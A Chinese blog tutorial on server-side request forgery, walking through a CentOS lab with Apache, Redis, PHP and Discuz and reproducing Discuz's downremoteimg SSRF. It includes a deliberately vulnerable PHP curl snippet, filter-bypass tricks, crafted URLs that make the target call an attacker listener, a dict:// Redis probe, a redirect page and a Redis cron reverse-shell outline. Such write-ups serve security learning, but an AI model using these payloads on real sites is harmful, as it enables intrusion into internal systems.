web渗透-SSRF漏洞及discuz论坛网站测试

一、简介

ssrf(server-side request forgery:服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,ssrf是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)

二、原理

首先,我们要对目标网站的架构了解,脑子了要有一个架构图。比如:A网站,是一个所有人都可以访问的外网网站,b网站是一个他们内部的oa网站,我们普通用户只可以访问a网站,不能访问b网站。但是我们可以通过a网站做中间人,访问b网站,从而达到攻击b网站需求。

三、SSRF用途

arkts 复制代码
1,可以对外网,服务器所在内网,本地进行端口扫描,获取一些服务的banner信息;
2.攻击运行在内网或本地的应用程序(比如溢出);
3.对内网web应用进行指纹识别,通过访问默认文件实现;
4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sql等)
5.利用file协议读取本地文件等。

四、SSRF漏洞寻找途径

arkts 复制代码
1.能够对外发起网络请求的地方,就可能存在ssrf漏洞
2.从远程服务器请求资源(upload from url,import & export rss feed)
3.数据库内置功能(oracle,mongodb, mssql, postgres,couchdb)
4.webmail收取其他邮箱邮件(pop3/imap/smtp)
5.文件处理,编码处理,属性信息处理(ffpmg,lmagemaic,dogx.rdf.xml处理器)

五、漏洞代码

PHP

php 复制代码
<?php
function curl($url)
{
   $ch =curl_init();
  curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch );
curl_close($ch);
}
$url =$_GET['url'];
curl($url);
?>

六、SSRF常见防御限制以及绕过

伪协议:

防御:

php 复制代码
1 限制请求的端口只能为web端口,只允许访问http和https的请求。
2 限制域名只能为http://www.xxx.com
3 限制不能访问内网的ip,以防止对内网进行攻击。
4 屏蔽返回的详细信息。

绕过方式:

php 复制代码
  解决:在网址后使用@符号再加上引入网址
  如:http://www.baidu.com@www.csdn.net(实际访问的是csdn网站)

  利用302跳转绕过
  利用短网址绕过

七、漏洞利用

靶场环境搭建(Centos 7)

Centos 7 基本命令
shell 复制代码
#  关闭防火墙

systemctl stop firewalld
Apache安装
shell 复制代码
# 安装 
yum install -y httpd httpd-devel
#  启动服务
systemctl start httpd.service
# 查看状态
 systemctl status httpd.service
# 网站根目录:/var/www/html


Redis安装
shell 复制代码
# 地址: http://download.redis.io/releases/redis-3.0.4.tar.gz
wget http://download.redis.io/releases/redis-3.0.4.tar.gz
# 解压:
tar zvxf  redis-3.0.4.tar.gz
cd redis-3.0.4

# 安装gcc
yum -y install gcc
# 源码安装
make
# 安装完成进入 src目录
cd src 
# 运行服务端
 ./redis-server

连接:

shell 复制代码
reid-cli
Mysql安装
shell 复制代码
# 安装
yum -y install mariadb mariadb-server mariadb-libs mariadb-devel
# 启动服务
systemctl start mariadb.service
# 查看状态
systemctl status  mariadb.service
PHP安装
shell 复制代码
# 安装
yum -y install php
# PHP关联数据库
yum -y install php-mysql 

# 测试PHP
# 在 /var/www/html 目录中创建php文件并访问
# index.php
vim /var/www/html/index.php
# 内容
<h1>php</h1>
# 重启Apache
systemctl restart httpd.service
# 访问:http://IP:80
discuz
  • 简介

discuz是一套通用的社区论坛软件系统。自2001年6月面世以来,discuz!已拥有15年以上的应用历史和200多万网站用户案例,是全球成熟度最高,覆盖率最大的论坛软件系统之一。

shell 复制代码
# 上传到/var/www/html并解压
unzip d.zip
# 切换权限
chown apache:apache -R upload
chmod  -R 777 upload
  • 访问:http:ip:80/upload
  • 存在问题: 不可写
  • 修改配置
shell 复制代码
# SELINUX=enforcing
# 修改为:
SELINUX=
# 重启虚拟机
  • 数据库密码默认设置为空:
  • 安装成功
测试
shell 复制代码
# Kali
#获取 靶机的redis信息
 curl -v "dict://192.168.198.135:6379/info"

redis计划任务反弹Shell

  • 核心漏洞:未授权访问漏洞

SSRF漏洞还原

攻击机IP:192.168.198.129

靶机IP:192.168.198.135

  • 首先,攻击机开启nc监听:
shell 复制代码
nc -lvp 6666
  • 靶机网页:
shell 复制代码
# 网址栏输入

http://192.168.198.135/upload/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://192.168.198.129:666/1.jpg[/img]
或:
http://192.168.198.135/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://192.168.198.129:6666?data=he2I0.jpg[/img]

协议限制绕过方式:

  • 攻击机
php 复制代码
# 步骤:
# 在Apache服务中建立一个PHP页面
# fpt.php
# header 网页跳转
# http:可以修改为任意协议
<?  php
  header("Localtion: http://192.168.198.129:6666/abc");
?>
shell 复制代码
# 开启监听
nc -lvp 6666

靶机:

shell 复制代码
#  网页访问:
http://192.168.198.135/upload/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://192.168.198.129/ftp.php[/img]

扩展

  • 创建定时任务sh脚本文件内容
  • 端口转发命令:
php 复制代码
# 将1111端口接收的数据转发到6666端口
socat -v top-listen:1111 ,fork tcp-connect:localhost:6666
相关推荐
大棉花哥哥2 小时前
太空安全,正式上线 —— 博客改版与双专栏发布记
安全·网络安全·卫星安全
光依旧5 小时前
MCP实战手记(九):生产化MCP Server的6层安全防护
java·人工智能·spring boot·安全·网络安全·ai agent·mcp
admin and root14 小时前
「AI安全篇」实战AntiDebug自动化JS逆向加解密MCP
javascript·人工智能·网络安全·自动化·漏洞挖掘·cnvd·src赏金
泛联新安16 小时前
软件定义汽车时代,如何让AI研发“可信”?——泛联新安构建汽车企业级可信AI体系的落地路径
大数据·人工智能·安全·网络安全·汽车·漏洞挖掘·代码安全
菩提小狗21 小时前
每日安全情报报告 · 2026-09-29
网络安全·漏洞·cve·安全情报·每日安全
Daorigin_com1 天前
道本科技携手DeepSeek:以AI重塑合同全生命周期管理
前端·人工智能·科技·网络安全·数据挖掘·前端框架·传媒
白帽攻防录1 天前
SRC 挖洞:Apache Tomcat 加密拦截器绕过深度复盘,CVE-2026-34486 fail-open 一行代码怎么打穿集群通信
java·网络安全·tomcat·apache
学逆向的1 天前
win32消息类型
windows·网络安全·mfc·api·win32
白帽攻防录1 天前
SRC 挖洞:GitLab GraphQL 指令绕过深度复盘,CVE-2026-19478 未授权删项目怎么打穿代码托管平台
网络·网络安全·gitlab·graphql
Johny_Zhao2 天前
FreeRADIUS + 华为AC/AP + 802.1X/WPA2-Enterprise 无线认证对接部署完整指南
网络·网络安全·信息安全·ldap·radius·huawei·系统运维·centos8